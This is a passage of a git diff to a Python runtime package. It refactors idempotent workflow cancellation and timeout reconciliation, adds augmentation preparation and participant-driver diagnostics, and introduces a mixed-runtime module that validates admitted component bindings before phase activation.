legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.WORKFLOW_CANCELLATION, + request={ + "workflow_address": workflow_address, + "run_id": run_id, + "reason": reason, + }, + ), + new_claim_blocked="current-state", + ) + except NewClaimRejected: + return None + return claimed.receipt + def _cancel_workflow_locked( self, workflow_address: str, @@ -120,44 +177,68 @@ def _cancel_workflow_locked( identity=identity, run_scope=f"run:{run_id}" if run_id else None, ) - existing = self._idempotent_receipt( - idempotency_key=idempotency_key, - request_fingerprint=operation_context.request_commitment, - context=operation_context, - ) - if existing is not None: - return existing submitted_at = _utc_now() operation_id = str(uuid4()) context = self._cancellable_workflow_state( workflow_address, run_id=run_id, - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, - operation_context=operation_context, ) - if isinstance(context, OperationReceipt): - return context - if context.workflow_status in _TERMINAL_WORKFLOW_STATUSES: - receipt = persist_succeeded_operation( - self, - SucceededOperationRequest( - operation_id=operation_id, + legacy_request_fingerprint = legacy_operation_request_commitment( + kind=OperationKind.WORKFLOW_CANCELLATION, + request={"workflow_address": workflow_address, "run_id": run_id, "reason": reason}, + ) + if isinstance(context, str): + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.ORCHESTRATION, + submitted_at=submitted_at, + accepted=True, + context=operation_context, + ) + running = OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.ORCHESTRATION, + state=OperationState.RUNNING, + submitted_at=submitted_at, + updated_at=submitted_at, + context=operation_context, + ) + try: + claimed = self._claim_record( + ControlPlaneOperationRecord( + receipt=receipt, + status=running, + idempotency_key=idempotency_key, + request_fingerprint=operation_context.request_commitment, + ), + legacy_request_fingerprint=legacy_request_fingerprint, + new_claim_blocked="current-state", + ) + except NewClaimRejected: + return self._reject_submission( domain=RuntimeDomain.ORCHESTRATION, - submitted_at=submitted_at, + message=context, idempotency_key=idempotency_key, + request_fingerprint=request_fingerprint, context=operation_context, - ), - ) + ) + return claimed.receipt + operation = SucceededOperationRequest( + operation_id=operation_id, + domain=RuntimeDomain.ORCHESTRATION, + submitted_at=submitted_at, + idempotency_key=idempotency_key, + context=operation_context, + legacy_request_fingerprint=legacy_request_fingerprint, + ) + if context.workflow_status in _TERMINAL_WORKFLOW_STATUSES: + receipt = persist_succeeded_operation(self, operation) else: receipt = self._cancel_active_workflow( workflow_address, normalized=context, reason=reason, - operation_id=operation_id, - submitted_at=submitted_at, - idempotency_key=idempotency_key, - operation_context=operation_context, + operation=operation, ) return receipt @@ -166,10 +247,7 @@ def _cancellable_workflow_state( workflow_address: str, *, run_id: str | None, - idempotency_key: str, - request_fingerprint: str, - operation_context: OperationAdmissionContext, - ) -> WorkflowExecutionState | OperationReceipt: + ) -> WorkflowExecutionState | str: result = dict(self._snapshot.orchestration_results.get(workflow_address, {})) rejection = None normalized: WorkflowExecutionState | None = None @@ -180,13 +258,7 @@ def _cancellable_workflow_state( if run_id and normalized.run_id != run_id: rejection = f"Workflow run_id mismatch for {workflow_address}: {run_id!r} != {normalized.run_id!r}" if rejection is not None: - return self._reject_submission( - domain=RuntimeDomain.ORCHESTRATION, - message=rejection, - idempotency_key=idempotency_key, - request_fingerprint=request_fingerprint, - context=operation_context, - ) + return rejection assert normalized is not None return normalized @@ -196,11 +268,12 @@ def _cancel_active_workflow( *, normalized: WorkflowExecutionState, reason: str, - operation_id: str, - submitted_at: str, - idempotency_key: str, - operation_context: OperationAdmissionContext, + operation: SucceededOperationRequest, ) -> OperationReceipt: + operation_id = operation.operation_id + submitted_at = operation.submitted_at + idempotency_key = operation.idempotency_key + operation_context = operation.context cancelled_state = WorkflowExecutionState( state_schema_version=normalized.state_schema_version, workflow_status=WorkflowStatus.CANCELLED, @@ -270,7 +343,8 @@ def _cancel_active_workflow( status=running_status, idempotency_key=idempotency_key, request_fingerprint=operation_context.request_commitment, - ) + ), + legacy_request_fingerprint=operation.legacy_request_fingerprint, ) if claimed.receipt.operation_id != operation_id: return claimed.receipt @@ -296,21 +370,6 @@ def reconcile_workflow_timeouts( identity: object | None = None, ) -> OperationReceipt: del request_fingerprint - with self._operation_lock: - self._reload_derived_state() - operation_context = operation_admission_context( - self, - kind=OperationKind.WORKFLOW_TIMEOUT_RECONCILIATION, - request={"now": now or "runtime-clock"}, - identity=identity, - ) - existing = self._idempotent_receipt( - idempotency_key=idempotency_key, - request_fingerprint=operation_context.request_commitment, - context=operation_context, - ) - if existing is not None: - return existing with control_plane_mutation(self, OperationKind.WORKFLOW_TIMEOUT_RECONCILIATION): with self._operation_lock: self._reload_derived_state() @@ -333,13 +392,6 @@ def _reconcile_workflow_timeouts_locked( request={"now": now or "runtime-clock"}, identity=identity, ) - existing = self._idempotent_receipt( - idempotency_key=idempotency_key, - request_fingerprint=operation_context.request_commitment, - context=operation_context, - ) - if existing is not None: - return existing submitted_at = now or _utc_now() reconciliation_clock = _reconciliation_clock(submitted_at) changed: list[str] = [] @@ -398,7 +450,11 @@ def _reconcile_workflow_timeouts_locked( status=running_status, idempotency_key=idempotency_key, request_fingerprint=operation_context.request_commitment, - ) + ), + legacy_request_fingerprint=legacy_operation_request_commitment( + kind=OperationKind.WORKFLOW_TIMEOUT_RECONCILIATION, + request={"now": now or "runtime-clock"}, + ), ) if claimed.receipt.operation_id != operation_id: return claimed.receipt diff --git a/implementations/python/packages/raes_runtime/manager.py b/implementations/python/packages/raes_runtime/manager.py index d9678be32..a3f2cba9f 100644 --- a/implementations/python/packages/raes_runtime/manager.py +++ b/implementations/python/packages/raes_runtime/manager.py @@ -3,15 +3,17 @@ from __future__ import annotations from collections.abc import Iterable -from dataclasses import dataclass +from dataclasses import dataclass, field, replace from raes_contracts.artifact_requirements import ArtifactAvailabilityContext +from raes_contracts.augmentation_preparation import AugmentationPreparation from raes_contracts.contracts import ( ExperimentStochasticControlModel, ParticipantInformationStateContextResolver, ) from raes_contracts.contracts.time_model import TimeModelDeclarationModel from raes_contracts.diagnostics import Diagnostic +from raes_contracts.materialization import MaterializationArchive, MaterializationSubmission from raes_contracts.planning import PlanScope, RuntimeDomain from raes_contracts.realization_profiles import PlanProfileAuthority from raes_contracts.runtime_state import ApplyResult, RuntimeSnapshot @@ -23,12 +25,14 @@ from .backend_calls import _BackendCallContext, _call_backend_apply, _call_backend_diagnostics, _RealizationApplyContext from .backend_observation_calls import _apply_runtime_plan_with_observation, _RuntimePlanApplyRequest from .diagnostics import _failure_diagnostic, _has_error_diagnostic +from .manager_augmentation import prepare_execution_augmentation from .manager_destroy import _DestroyPhaseMixin -from .manager_plan_admission import runtime_plan_precondition_diagnostics +from .manager_plan_admission import reference_participant_driver_diagnostics, runtime_plan_precondition_diagnostics from .participant_activity import resolve_participant_activity_controls from .participant_execution_control import RuntimeParticipantExecutionMixin from .participant_information_state_validation import require_participant_information_state_snapshot from .registry import RuntimeTarget as _RuntimeTarget +from .registry import RuntimeTargetComponents as _RuntimeTargetComponents from .registry import _validate_runtime_target_shape from .time_control import RuntimeTimeControlMixin @@ -47,6 +51,8 @@ class _RuntimeApplyState: details: dict[str, object] started_evaluator: bool = False failure: ApplyResult | None = None + materialization_attestation: MaterializationSubmission | None = None + augmentation_previews: dict[RuntimeDomain, AugmentationPreparation] = field(default_factory=dict) class RuntimeManager(_DestroyPhaseMixin, RuntimeParticipantExecutionMixin, RuntimeTimeControlMixin): @@ -59,19 +65,24 @@ def __init__( initial_snapshot: RuntimeSnapshot | None = None, stochastic_controls: Iterable[ExperimentStochasticControlModel] = (), information_state_context_resolver: ParticipantInformationStateContextResolver | None = None, + materialization_archive: MaterializationArchive | None = None, ) -> None: _validate_runtime_target_shape( manifest=target.manifest, - provisioner=target.provisioner, - orchestrator=target.orchestrator, - evaluator=target.evaluator, - participant_runtime=target.participant_runtime, - time_runtime=target.time_runtime, - observation_runtime=target.observation_runtime, + components=_RuntimeTargetComponents( + provisioner=target.provisioner, + orchestrator=target.orchestrator, + evaluator=target.evaluator, + participant_runtime=target.participant_runtime, + time_runtime=target.time_runtime, + observation_runtime=target.observation_runtime, + recovery_observer=target.recovery_observer, + ), ) self._target = target self._snapshot = initial_snapshot if initial_snapshot is not None else RuntimeSnapshot() self._information_state_context_resolver = information_state_context_resolver + self._materialization_archive = materialization_archive require_participant_information_state_snapshot(self._snapshot, information_state_context_resolver) self._participant_activity_controls = resolve_participant_activity_controls(stochastic_controls) self._time_declaration: TimeModelDeclarationModel | None = None @@ -103,7 +114,7 @@ def plan( run_id=run_scope.run_id if run_scope is not None else None, instantiation_id=run_scope.instantiation_id if run_scope is not None else None, ) - return plan( + execution_plan = plan( model, self._target.manifest, effective_snapshot, @@ -111,6 +122,9 @@ def plan( artifact_availability=artifact_availability, profile_context=getattr(self._target.provisioner, "domain_profile_context", None), ) + return replace( + execution_plan, diagnostics=[*execution_plan.diagnostics, *reference_participant_driver_diagnostics(model)] + ) def apply(self, execution_plan: ExecutionPlan) -> ApplyResult: driver_precondition = self._participant_driver_apply_precondition() @@ -123,11 +137,22 @@ def apply(self, execution_plan: ExecutionPlan) -> ApplyResult: if precondition_failure is not None: return precondition_failure + return self._apply_prepared_execution(execution_plan, diagnostics) + + def _apply_prepared_execution(self, execution_plan: ExecutionPlan, diagnostics: list[Diagnostic]) -> ApplyResult: + execution_plan, previews, scope_diagnostics = prepare_execution_augmentation( + execution_plan, self._target, self._snapshot, self._materialization_archive + ) + diagnostics.extend(scope_diagnostics) + if _has_error_diagnostic(scope_diagnostics): + return ApplyResult(success=False, snapshot=self._snapshot, diagnostics=diagnostics) + state = _RuntimeApplyState( working_snapshot=execution_plan.base_snapshot, diagnostics=diagnostics, changed_addresses=[], details={}, + augmentation_previews=previews, ) self._run_apply_phases(execution_plan, state) if state.failure is None: @@ -184,6 +209,7 @@ def _apply_provisioning_phase( execution_plan.provisioning, state.working_snapshot, request=_RuntimePlanApplyRequest( + materialization_archive=self._materialization_archive, address="runtime.apply.provisioning", execute_observation=execution_plan.observation_owner is RuntimeDomain.PROVISIONING, realization=_RealizationApplyContext( @@ -191,6 +217,7 @@ def _apply_provisioning_phase( plan=execution_plan.provisioning, manifest=execution_plan.manifest, artifact_availability=execution_plan.artifact_availability, + expected_augmentation=state.augmentation_previews.get(RuntimeDomain.PROVISIONING), ), information_state_context_resolver=self._information_state_context_resolver, ), @@ -218,8 +245,13 @@ def _apply_evaluation_phase( execution_plan.evaluation, state.working_snapshot, request=_RuntimePlanApplyRequest( + materialization_archive=self._materialization_archive, address=_APPLY_EVALUATOR_ADDRESS, execute_observation=execution_plan.observation_owner is RuntimeDomain.EVALUATION, + realization=_RealizationApplyContext( + manifest=execution_plan.manifest, + expected_augmentation=state.augmentation_previews.get(RuntimeDomain.EVALUATION), + ), information_state_context_resolver=self._information_state_context_resolver, ), ) @@ -254,8 +286,13 @@ def _apply_orchestration_phase( execution_plan.orchestration, state.working_snapshot, request=_RuntimePlanApplyRequest( + materialization_archive=self._materialization_archive, address=_APPLY_ORCHESTRATOR_ADDRESS, execute_observation=execution_plan.observation_owner is RuntimeDomain.ORCHESTRATION, + realization=_RealizationApplyContext( + manifest=execution_plan.manifest, + expected_augmentation=state.augmentation_previews.get(RuntimeDomain.ORCHESTRATION), + ), information_state_context_resolver=self._information_state_context_resolver, ), ) @@ -285,6 +322,8 @@ def _apply_orchestration_phase( @staticmethod def _record_phase_result(state: _RuntimeApplyState, result: ApplyResult) -> None: + if result.materialization_attestation is not None: + state.materialization_attestation = result.materialization_attestation state.diagnostics.extend(result.diagnostics) state.changed_addresses.extend(result.changed_addresses) state.working_snapshot = result.snapshot diff --git a/implementations/python/packages/raes_runtime/manager_augmentation.py b/implementations/python/packages/raes_runtime/manager_augmentation.py new file mode 100644 index 000000000..089e2154a --- /dev/null +++ b/implementations/python/packages/raes_runtime/manager_augmentation.py @@ -0,0 +1,116 @@ +"""Whole-run augmentation feasibility before the first runtime phase mutates.""" + +from __future__ import annotations + +from collections.abc import Callable, Iterator +from dataclasses import replace +from typing import TYPE_CHECKING +from uuid import uuid4 + +from raes_contracts.augmentation_scope import AUGMENTATION_SCOPE_CONTRACT +from raes_contracts.planning import RuntimeDomain +from raes_processor.compiler.time_model import time_model_contract_model +from raes_processor.planner.augmentation_admission import AugmentationAdmission + +from .backend_augmentation import ( + compose_augmentation_invocation, + prepare_augmentation_invocation, + prepare_auxiliary_augmentation, +) +from .backend_preparation import prepare_backend_invocation +from .backend_realization_authority import _RealizationApplyContext + +if TYPE_CHECKING: + from raes_contracts.augmentation_preparation import AugmentationPreparation + from raes_contracts.diagnostics import Diagnostic + from raes_contracts.materialization import MaterializationArchive + from raes_contracts.planning import EvaluationPlan, OrchestrationPlan, ProvisioningPlan + from raes_contracts.runtime_state import RuntimeSnapshot + from raes_processor.models import ExecutionPlan + + from .registry import RuntimeTarget + + +def prepare_execution_augmentation( + execution: ExecutionPlan, + target: RuntimeTarget, + previous: RuntimeSnapshot, + archive: MaterializationArchive | None = None, +) -> tuple[ExecutionPlan, dict[RuntimeDomain, AugmentationPreparation], list[Diagnostic]]: + """Retain previews so later producer calls cannot silently broaden this run.""" + previews, diagnostics = {}, [] + cumulative = None + if AUGMENTATION_SCOPE_CONTRACT not in execution.manifest.supported_contract_versions: + return execution, previews, diagnostics + execution = _bind_phase_operation_ids(execution) + for domain, method, request in _execution_phases(execution, target): + context = _RealizationApplyContext( + plan=request if domain is RuntimeDomain.PROVISIONING else None, + operation_plan=request, + manifest=execution.manifest, + requirements=execution.model.realization_requirements if domain is RuntimeDomain.PROVISIONING else (), + ) + context, failures, composition_failed = _prepare_phase(method, previous, archive, context, cumulative) + diagnostics.extend(failures) + if composition_failed: + break + if context.augmentation is not None and context.augmentation.is_valid: + cumulative = context.augmentation + previews[domain] = context.augmentation.preparation + for producer in _auxiliary_producers(execution, target): + diagnostics.extend( + prepare_auxiliary_augmentation(producer, execution.provisioning, execution.manifest, previous) + ) + return execution, previews, diagnostics + + +def _bind_phase_operation_ids(execution: ExecutionPlan) -> ExecutionPlan: + return replace( + execution, + **{ + name: replace(getattr(execution, name), operation_id=getattr(execution, name).operation_id or str(uuid4())) + for name in ("provisioning", "evaluation", "orchestration") + }, + ) + + +def _prepare_phase( + method: Callable[..., object], + previous: RuntimeSnapshot, + archive: MaterializationArchive | None, + context: _RealizationApplyContext, + preceding: AugmentationAdmission | None, +) -> tuple[_RealizationApplyContext, list[Diagnostic], bool]: + args, context, failures = prepare_backend_invocation(method, (context.operation_plan, previous), previous, context) + # Immediate preparation emits successful advisories once at its normal boundary. + diagnostics = list(failures if args is None else (item for item in failures if item.is_error)) + if args is None: + return context, diagnostics, False + context, failures = prepare_augmentation_invocation(method, previous, context) + diagnostics.extend(failures) + if context.augmentation is None or not context.augmentation.is_valid: + return context, diagnostics, False + context, failures = compose_augmentation_invocation(context, previous, archive, preceding=preceding) + return context, [*diagnostics, *failures], bool(failures) + + +def _execution_phases( + execution: ExecutionPlan, target: RuntimeTarget +) -> Iterator[tuple[RuntimeDomain, Callable[..., object], ProvisioningPlan | EvaluationPlan | OrchestrationPlan]]: + yield RuntimeDomain.PROVISIONING, target.provisioner.apply, execution.provisioning + for domain, producer in ( + (RuntimeDomain.EVALUATION, target.evaluator), + (RuntimeDomain.ORCHESTRATION, target.orchestrator), + ): + request = getattr(execution, domain.value) + if request.actionable_operations and producer is not None: + yield domain, producer.start, request + + +def _auxiliary_producers(execution: ExecutionPlan, target: RuntimeTarget) -> Iterator[object]: + if time_model_contract_model(execution.model.time_model) is not None: + yield target.time_runtime + if any(spec.autonomous_execution is not None for spec in execution.model.behavior_specifications.values()): + yield target.participant_runtime + if getattr(getattr(execution, execution.observation_owner.value), "observation_demands", ()): + yield target.observation_runtime diff --git a/implementations/python/packages/raes_runtime/manager_plan_admission.py b/implementations/python/packages/raes_runtime/manager_plan_admission.py index 8b2a87c50..9ced981aa 100644 --- a/implementations/python/packages/raes_runtime/manager_plan_admission.py +++ b/implementations/python/packages/raes_runtime/manager_plan_admission.py @@ -2,7 +2,7 @@ from raes_contracts.diagnostics import Diagnostic from raes_contracts.runtime_state import RuntimeSnapshot -from raes_processor.models import ExecutionPlan +from raes_processor.models import ExecutionPlan, RuntimeModel from .diagnostics import _failure_diagnostic from .observation_execution import observation_submission_diagnostic @@ -18,6 +18,11 @@ def runtime_plan_precondition_diagnostics( ) -> list[Diagnostic]: """Return every deterministic plan-admission failure for a manager apply.""" diagnostics = _provenance_diagnostics(execution_plan, target, snapshot) + diagnostics.extend( + diagnostic + for diagnostic in reference_participant_driver_diagnostics(execution_plan.model) + if diagnostic not in execution_plan.diagnostics + ) phase_plans = { "provisioning": execution_plan.provisioning, "evaluation": execution_plan.evaluation, @@ -34,12 +39,70 @@ def runtime_plan_precondition_diagnostics( return diagnostics +def reference_participant_driver_diagnostics(model: RuntimeModel) -> list[Diagnostic]: + """Reference-driver limits are execution admission, never SDL validity.""" + + clocks = {clock.address: clock for clock in model.time_model.clocks} + progressions = {policy.address: policy for policy in model.time_model.progression_policies} + diagnostics = [] + driven_actions = set() + for specification in model.behavior_specifications.values(): + policy = specification.autonomous_execution + if policy is None: + continue + driven_actions.update(policy.action_contract_addresses) + progression = progressions[policy.progression_policy_address] + clock = clocks[policy.clock_address] + if progression.advancement_mode == "externally_paced" or ( + progression.advancement_mode in {"real_time", "dilated"} and clock.authority_kind != "runtime" + ): + diagnostics.append( + Diagnostic( + code="runtime.participant-clock-driver-unsupported", + domain="participant", + address=policy.address, + message=( + "This valid clock policy requires a transition driver unavailable in the reference runtime; " + "it is not a backend-wide semantic requirement." + ), + ) + ) + for action in model.action_contracts.values(): + if action.address not in driven_actions and any( + temporal.get("shared_time_binding") for temporal in action.spec.get("temporal_contracts", ()) + ): + diagnostics.append( + Diagnostic( + code="runtime.participant-temporal-driver-unsupported", + domain="participant", + address=action.address, + message=( + "The reference runtime enforces explicit shared-time action bindings through autonomous " + "policies; " + "this manual action requires another execution driver." + ), + ) + ) + return diagnostics + + def _provenance_diagnostics( execution_plan: ExecutionPlan, target: RuntimeTarget, snapshot: RuntimeSnapshot, ) -> list[Diagnostic]: diagnostics: list[Diagnostic] = [] + if execution_plan.model.materialization_description is not None or any( + phase.purpose != "execution" + for phase in (execution_plan.provisioning, execution_plan.orchestration, execution_plan.evaluation) + ): + diagnostics.append( + _failure_diagnostic( + "runtime.descriptive-plan", + _RUNTIME_APPLY_ADDRESS, + "Materialization descriptions require explicit derivation before execution.", + ) + ) if execution_plan.target_name is None: diagnostics.append( _failure_diagnostic( diff --git a/implementations/python/packages/raes_runtime/mixed_runtime.py b/implementations/python/packages/raes_runtime/mixed_runtime.py new file mode 100644 index 000000000..24c33f72d --- /dev/null +++ b/implementations/python/packages/raes_runtime/mixed_runtime.py @@ -0,0 +1,407 @@ +"""Exact admitted component binding and runtime-owned phase activation.""" + +from __future__ import annotations + +from collections.abc import Callable, Mapping +from dataclasses import dataclass, field, replace +from types import MappingProxyType +from uuid import uuid4 + +from raes_backend_protocols.manifest import backend_manifest_from_v2_model_with_envelope +from raes_contracts.admitted_trial_plan_ingress import revalidate_admitted_trial_plan +from raes_contracts.canonical import canonical_json_digest +from raes_contracts.contracts import ( + AdmittedMixedCompositionBindingModel, + AdmittedTrialEntryModel, + AdmittedTrialPlanModel, + BackendManifestV2Model, +) +from raes_contracts.contracts.mixed_composition import ( + MixedCompositionComponentModel, + MixedParticipantCompositionProfileModel, +) +from raes_contracts.contracts.mixed_composition_resolution import ( + MixedCompositionResolutionContext, + validate_mixed_composition_context, +) +from raes_contracts.contracts.mixed_runtime import ( + MixedCompositionRuntimeEventModel, + MixedCompositionRuntimeStateModel, +) +from raes_contracts.planning import RuntimeDomain +from raes_contracts.realization_envelope import BackendRealizationEnvelopeModel +from raes_contracts.runtime_state import ( + OperationKind, + OperationReceipt, + OperationState, + OperationStatus, +) + +from .control_plane_execution import _utc_now +from .control_plane_lifecycle import runtime_owned +from .control_plane_mutation import control_plane_mutation, mutation_entry +from .control_plane_operation_context import operation_admission_context +from .control_plane_security import ControlPlaneIdentity +from .control_plane_store import AuditEvent, ControlPlaneOperationRecord +from .mixed_runtime_edge import MixedEdgeExecutionBinding +from .mixed_runtime_handoff import MixedHandoffBinding +from .registry import RuntimeTarget + + +@dataclass(frozen=True) +class MixedRuntimeComponent: + """One configured effect sink joined to its exact admitted manifest.""" + + target: RuntimeTarget + manifest: BackendManifestV2Model + envelope: BackendRealizationEnvelopeModel + + +@dataclass(frozen=True) +class MixedPhaseTransitionEvaluation: + """Bounded, value-free result from one admitted transition evaluator.""" + + permitted: bool + attempts: int + order_ref: str + evidence_refs: tuple[str, ...] + provenance_refs: tuple[str, ...] = () + + +@dataclass(frozen=True) +class MixedRuntimeBinding: + """Trusted immutable runtime input for one sealed trial entry.""" + + plan: AdmittedTrialPlanModel + plan_entry_id: str + profile: MixedParticipantCompositionProfileModel + context: MixedCompositionResolutionContext + components: Mapping[str, MixedRuntimeComponent] + transition_evaluators: Mapping[str, Callable[..., MixedPhaseTransitionEvaluation]] = field(default_factory=dict) + edge_bindings: Mapping[str, MixedEdgeExecutionBinding] = field(default_factory=dict) + handoff_bindings: Mapping[str, MixedHandoffBinding] = field(default_factory=dict) + + def __post_init__(self) -> None: + plan = revalidate_admitted_trial_plan(self.plan) + _require_admitted_profile(plan, self.plan_entry_id, self.profile) + validate_mixed_composition_context(self.profile, self.context, require_trial_admission=True) + _require_bound_components(self.profile, self.components) + _require_transition_evaluators(self.profile, self.transition_evaluators) + if set(self.edge_bindings) - set(self.profile.edges): + raise ValueError("mixed runtime edge bindings must name admitted edges") + if set(self.handoff_bindings) - set(self.profile.transitions): + raise ValueError("mixed runtime handoff bindings must name admitted transitions") + for transition_id, handoff in self.handoff_bindings.items(): + self._require_handoff_binding(transition_id, handoff) + for edge_id, installed in self.edge_bindings.items(): + self._require_edge_binding(edge_id, installed) + object.__setattr__(self, "plan", plan) + object.__setattr__(self, "components", MappingProxyType(dict(self.components))) + object.__setattr__(self, "transition_evaluators", MappingProxyType(dict(self.transition_evaluators))) + object.__setattr__(self, "edge_bindings", MappingProxyType(dict(self.edge_bindings))) + object.__setattr__(self, "handoff_bindings", MappingProxyType(dict(self.handoff_bindings))) + + def _require_handoff_binding(self, transition_id: str, handoff: MixedHandoffBinding) -> None: + if not isinstance(handoff, MixedHandoffBinding): + raise TypeError("executable handoff must be a typed installed binding") + transition = self.profile.transitions[transition_id] + source = self.profile.phases[transition.source_phase_id] + target = self.profile.phases[transition.target_phase_id] + if {handoff.source_component_id, handoff.destination_component_id} - self.profile.components.keys(): + raise ValueError("executable handoff differs from admitted transition ownership") + ownership = ( + handoff.transition_id, + {handoff.source_component_id}, + {handoff.destination_component_id}, + handoff.source_owner_ref, + handoff.destination_owner_ref, + ) + admitted = ( + transition_id, + set(source.active_component_ids) - set(target.active_component_ids), + set(target.active_component_ids) - set(source.active_component_ids), + self.profile.components[handoff.source_component_id].native_ownership_ref, + self.profile.components[handoff.destination_component_id].native_ownership_ref, + ) + if ownership != admitted: + raise ValueError("executable handoff differs from admitted transition ownership") + time_model = self.context.time_models.get(handoff.time_model_ref) + if time_model is None: + raise ValueError("executable handoff time binding is unresolved") + if ( + self.context.time_model_digests.get(handoff.time_model_ref) != handoff.time_model_digest + or handoff.mapping_ref not in time_model.mappings + or handoff.source_clock_address not in time_model.clocks + or handoff.destination_clock_address not in time_model.clocks + ): + raise ValueError("executable handoff time binding is unresolved") + mapping = time_model.mappings[handoff.mapping_ref] + domains = (mapping.source_domain_address, mapping.target_domain_address) + clock_domains = ( + time_model.clocks[handoff.source_clock_address].time_domain_address, + time_model.clocks[handoff.destination_clock_address].time_domain_address, + ) + if domains != clock_domains: + raise ValueError("executable handoff clock mapping differs from admission") + + def _require_edge_binding(self, edge_id: str, installed: MixedEdgeExecutionBinding) -> None: + if not isinstance(installed, MixedEdgeExecutionBinding): + raise TypeError("executable edge binding must be a typed installed binding") + edge = self.profile.edges[edge_id] + if ( + installed.edge_id, + installed.bridge_ref, + installed.mapping_ref, + installed.mapping_loss_ref, + ) != ( + edge_id, + edge.routing_ref, + edge.time_binding.mapping_address, + edge.mapping_loss.limitation_ref, + ): + raise ValueError("executable edge binding differs from admitted edge") + + @property + def entry(self) -> AdmittedTrialEntryModel: + return self.plan.entries[self.plan_entry_id] + + +def _require_admitted_profile( + plan: AdmittedTrialPlanModel, + plan_entry_id: str, + profile: MixedParticipantCompositionProfileModel, +) -> None: + entry = plan.entries.get(plan_entry_id) + if entry is None or not isinstance(entry.apparatus, AdmittedMixedCompositionBindingModel): + raise ValueError("mixed runtime requires an exact admitted mixed entry") + reference = entry.apparatus.profile_ref + admitted_identity = (reference.ref_id, reference.ref_version, reference.ref_digest) + configured_identity = (profile.profile_id, profile.profile_revision, profile.profile_digest) + if admitted_identity != configured_identity: + raise ValueError("mixed runtime profile does not match the admitted entry") + + +def _require_bound_components( + profile: MixedParticipantCompositionProfileModel, + components: Mapping[str, MixedRuntimeComponent], +) -> None: + if set(components) != set(profile.components): + raise ValueError("mixed runtime components must exactly match the admitted profile") + for component_id, declaration in profile.components.items(): + _require_bound_component(components[component_id], declaration) + + +def _require_bound_component(bound: MixedRuntimeComponent, declaration: MixedCompositionComponentModel) -> None: + if not isinstance(bound, MixedRuntimeComponent): + raise TypeError("mixed runtime components must be typed exact bindings") + manifest_ref = declaration.manifest_ref + admitted_manifest = ( + manifest_ref.subject_ref.ref_id, + manifest_ref.subject_ref.ref_version, + manifest_ref.ref_digest, + declaration.realization_envelope, + ) + configured_manifest = ( + bound.manifest.identity.name, + bound.manifest.identity.version, + canonical_json_digest(bound.manifest.model_dump(mode="json")), + bound.envelope.identity, + ) + if configured_manifest != admitted_manifest: + raise ValueError("mixed runtime component manifest or envelope differs from admission") + expected_manifest = backend_manifest_from_v2_model_with_envelope(bound.manifest, bound.envelope) + if bound.target.manifest != expected_manifest: + raise ValueError("mixed runtime target manifest differs from the admitted component") + + +def _require_transition_evaluators( + profile: MixedParticipantCompositionProfileModel, + evaluators: Mapping[str, Callable[..., MixedPhaseTransitionEvaluation]], +) -> None: + required = {transition.evaluator_ref for transition in profile.transitions.values()} + if set(evaluators) != required or any(not callable(evaluator) for evaluator in evaluators.values()): + raise ValueError("mixed runtime must bind every admitted transition evaluator exactly") + + +def _activation_binding(control_plane: object, identity: object) -> MixedRuntimeBinding: + if not isinstance(identity, ControlPlaneIdentity): + raise PermissionError("mixed runtime activation requires an authenticated identity") + if identity.target_name is not None and identity.target_name != control_plane.target_name: + raise PermissionError("mixed runtime identity is not authorized for this target") + binding = control_plane._mixed_runtime + if binding is None: + raise ValueError("mixed runtime is not configured") + return binding + + +def _activation_operation( + control_plane: object, + binding: MixedRuntimeBinding, + identity: ControlPlaneIdentity, + idempotency_key: str, +) -> tuple[OperationReceipt, ControlPlaneOperationRecord]: + context = operation_admission_context( + control_plane, + kind=OperationKind.COMPOSITION_PHASE, + request={ + "action": "activate", + "plan_digest": binding.plan.plan_digest, + "entry_digest": binding.entry.entry_digest, + "profile_digest": binding.profile.profile_digest, + }, + identity=identity, + ) + operation_id = str(uuid4()) + timestamp = _utc_now() + receipt = OperationReceipt( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + submitted_at=timestamp, + accepted=True, + context=context, + ) + running = ControlPlaneOperationRecord( + receipt=receipt, + status=OperationStatus( + operation_id=operation_id, + domain=RuntimeDomain.PARTICIPANT, + state=OperationState.RUNNING, + submitted_at=timestamp, + updated_at=timestamp, + context=context, + ), + idempotency_key=idempotency_key, + request_fingerprint=context.request_commitment, + ) + return receipt, running + + +_RUNTIME_STATE_FIELDS = { + "run_id", + "plan_id", + "plan_entry_id", + "profile_id", + "profile_digest", + "phase_id", + "phase_revision", + "active_component_ids", + "active_allocation_ids", + "active_edge_ids", +} + + +def _initial_composition( + binding: MixedRuntimeBinding, + operation_id: str, +) -> tuple[MixedCompositionRuntimeEventModel, MixedCompositionRuntimeStateModel]: + phase = binding.profile.phases[binding.profile.initial_phase_id] + event = MixedCompositionRuntimeEventModel( + event_id=f"composition:{operation_id}:initial", + event_kind="phase-activated", + run_id=binding.entry.run_id, + plan_id=binding.plan.plan_id, + plan_entry_id=binding.entry.plan_entry_id, + profile_id=binding.profile.profile_id, + profile_digest=binding.profile.profile_digest, + phase_id=phase.phase_id, + phase_revision=0, + active_component_ids=phase.active_component_ids, + active_allocation_ids=phase.active_allocation_ids, + active_edge_ids=phase.active_edge_ids, + disposition="committed", + order_ref="order:admitted-initial-phase", + evidence_refs=[item.evidence_ref for item in phase.evidence_bindings], + ) + state = MixedCompositionRuntimeStateModel( + **event.model_dump(mode="python", include=_RUNTIME_STATE_FIELDS), + history_head=event.event_id, + ) + return event, state + + +def _commit_activation( + control_plane: object, + binding: MixedRuntimeBinding, + running: ControlPlaneOperationRecord, + event: MixedCompositionRuntimeEventModel, + state: MixedCompositionRuntimeStateModel, +) -> None: + snapshot = control_plane._snapshot.with_entries( + dict(control_plane._snapshot.entries), + mixed_composition_states={ + **control_plane._snapshot.mixed_composition_states, + binding.entry.run_id: state.model_dump(mode="json"), + }, + mixed_composition_history={ + **control_plane._snapshot.mixed_composition_history, + binding.entry.run_id: [event.model_dump(mode="json")], + }, + ) + terminal = replace( + running, + status=replace(running.status, state=OperationState.SUCCEEDED, updated_at=_utc_now()), + ) + context = running.status.context + audit = AuditEvent( + timestamp=terminal.status.updated_at, + action="activate_mixed_composition", + identity=context.actor_id, + allowed=True, + target=context.target_scope, + operation_id=running.receipt.operation_id, + reason="committed", + ) + control_plane._commit_participant_transition( + expected_history_heads={f"mixed_composition_history:{binding.entry.run_id}": None}, + snapshot=snapshot, + record=terminal, + audit_event=audit, + ) + + +class MixedRuntimeMixin: + """Own phase facts in 